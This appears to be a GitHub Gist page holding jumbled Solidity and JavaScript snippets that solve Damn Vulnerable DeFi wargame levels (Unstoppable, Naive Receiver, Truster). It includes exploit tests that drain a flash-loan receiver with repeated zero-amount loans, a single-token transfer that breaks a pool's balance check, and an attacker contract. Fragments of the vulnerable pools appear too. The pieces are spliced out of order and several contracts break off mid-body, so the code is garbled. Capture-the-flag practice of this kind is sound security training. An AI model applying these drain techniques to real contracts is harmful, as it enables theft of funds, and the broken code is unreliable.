Skip to content

Instantly share code, notes, and snippets.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
interface IFlashLoanEtherReceiver {
function execute() external payable;
}
/**
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
const TrusterExploiter = await ethers.getContractFactory("TrusterExploiter", attacker);
this.exploit = await TrusterExploiter.deploy(this.pool.address, this.token.address);
await this.exploit.connect(attacker).attack();
console.log("Updated pool balance is: ", await this.token.balanceOf(this.pool.address));
});
contract TrusterExploiter {
TrusterLenderPool public immutable pool;
IERC20 public immutable token;
constructor(address _pool, address _token) {
pool = TrusterLenderPool(_pool);
token = IERC20(_token);
}
function attack() external {
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
/**
* @title TrusterLenderPool
it('Exploit', async function () {
this.pool.connect(attacker);
for (i = 1; i <= 10; i ++) {
this.pool.flashLoan(this.receiver.address, 0)
}
console.log(await ethers.provider.getBalance(this.receiver.address))
});
it('Exploit', async function () {
this.pool.connect(attacker).flashLoan(this.receiver.address,0)
this.pool.connect(attacker).flashLoan(this.receiver.address,0)
this.pool.connect(attacker).flashLoan(this.receiver.address,0)
this.pool.connect(attacker).flashLoan(this.receiver.address,0)
this.pool.connect(attacker).flashLoan(this.receiver.address,0)
this.pool.connect(attacker).flashLoan(this.receiver.address,0)
this.pool.connect(attacker).flashLoan(this.receiver.address,0)
this.pool.connect(attacker).flashLoan(this.receiver.address,0)
this.pool.connect(attacker).flashLoan(this.receiver.address,0)
contract FlashLoanReceiver {
...
function receiveEther(uint256 fee) public payable {
require(msg.sender == pool, "Sender must be pool");
uint256 amountToBeRepaid = msg.value + fee;
require(address(this).balance >= amountToBeRepaid, "Cannot borrow that much");
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
contract NaiveReceiverLenderPool is ReentrancyGuard {
using Address for address;
uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan
it('Exploit', async function () {
await this.token.connect(attacker).transfer(this.pool.address, 1);
});
contract UnstoppableLender is ReentrancyGuard {
...
function depositTokens(uint256 amount) external nonReentrant {
require(amount > 0, "Must deposit at least one token");
// Transfer token from sender. Sender must have first approved them.
damnValuableToken.transferFrom(msg.sender, address(this), amount);
poolBalance = poolBalance + amount;
}